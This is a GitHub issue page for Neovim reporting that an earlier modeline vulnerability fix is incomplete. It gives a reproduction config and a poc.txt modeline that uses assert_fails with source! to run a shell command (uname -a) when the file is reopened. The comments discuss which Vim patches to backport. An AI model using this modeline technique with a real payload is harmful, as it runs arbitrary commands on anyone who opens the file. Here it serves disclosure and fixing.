Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix for modeline vulnerability is incomplete #10130

Closed
yshui opened this issue Jun 6, 2019 · 8 comments · Fixed by #10309
Closed

Fix for modeline vulnerability is incomplete #10130

yshui opened this issue Jun 6, 2019 · 8 comments · Fixed by #10309
Labels
bug issues reporting wrong behavior security security or privacy implications
Milestone

Comments

@yshui
Copy link
Contributor

yshui commented Jun 6, 2019

  • `nvim --version`:
NVIM v0.4.0-944-g3305769ea
Build type: Debug
LuaJIT 2.1.0-beta3
Compilation: /usr/bin/cc -g -Wall -Wextra -pedantic -Wno-unused-parameter -Wstrict-prototypes -std=gnu99 -Wshadow -Wconversion -Wmissing-prototypes -Wimplicit-fallthrough -Wvla -fstack-protector-strong -fdiagnostics-color=auto -Wno-array-bounds -DINCLUDE_GENERATED_DECLARATIONS -D_GNU_SOURCE -DNVIM_MSGPACK_HAS_FLOAT32 -DNVIM_UNIBI_HAS_VAR_FROM -I/home/void/neovim/build/config -I/home/void/neovim/src -I/usr/include -I/home/void/neovim/build/src/nvim/auto -I/home/void/neovim/build/include
Compiled by void@node-a0

Features: +acl +iconv +tui
See ":help feature-compile"

   system vimrc file: "$VIM/sysinit.vim"
  fall-back for $VIM: "/usr/share/nvim"
  • Vim (version: ) behaves differently?
    Yes

Steps to reproduce

Config file
set shada=!,'150,<100,/50,:50,r/tmp,s256
set modeline
autocmd BufWinLeave *.* mkview
autocmd BufWinEnter *.* silent! loadview
poc.txt

Source

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
  1. Open poc.txt

  2. Close it

  3. Open it again

Actual behaviour

uname -a is run.

Expected behaviour

uname -a is not run

@justinmk justinmk added the security security or privacy implications label Jun 6, 2019
@justinmk
Copy link
Member

justinmk commented Jun 6, 2019

The fix is not on master, only the release branch. See #10052 . Need help.

@justinmk justinmk added this to the 0.4 milestone Jun 6, 2019
@yshui
Copy link
Contributor Author

yshui commented Jun 6, 2019

Also reproducible on 0.3.7

@bfredl
Copy link
Member

bfredl commented Jun 6, 2019

Also was the neovim spcific nvim_input vunerability ever fixed? I would suggest adding

  if (check_restricted() || check_secure()) {
    return;
  }

to the beginning api_wrapper to block the entire API. Trying to maintain a "secure" subset of the API seems like a mess.

@jamessan
Copy link
Member

jamessan commented Jun 7, 2019

Also reproducible on 0.3.7

Looks like the problem is that we're missing a few dependent patches on the release branch.

Probably need to port #9776, dfb7f6b, and #9972.

@jamessan
Copy link
Member

jamessan commented Jun 16, 2019

For reference, when updating Debian Stretch's Vim (based on 8.0.0197), I backported these patches:

  • 8.0.0649
  • 8.0.0651
  • 8.1.0066
  • 8.1.0067
  • 8.1.0177
  • 8.1.0189
  • 8.1.0205
  • 8.1.0206
  • 8.1.0208
  • 8.1.0506
  • 8.1.0538
  • 8.1.0539
  • 8.1.0540
  • 8.1.0544
  • 8.1.0546
  • 8.1.0547
  • 8.1.0613
  • 8.1.1046
  • 8.1.1365
  • 8.1.1366
  • 8.1.1367
  • 8.1.1368
  • 8.1.1382
  • 8.1.1401

@blueyed
Copy link
Contributor

blueyed commented Jun 17, 2019

Of those the following appear to be missing in master still:

@jamessan
Copy link
Member

jamessan commented Jun 23, 2019

#10309 handles master. More work will be needed for the release branch.

@jamessan
Copy link
Member

#10341 has the fixes for the release-0.3 branch.

@justinmk justinmk added the bug issues reporting wrong behavior label Aug 9, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug issues reporting wrong behavior security security or privacy implications
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants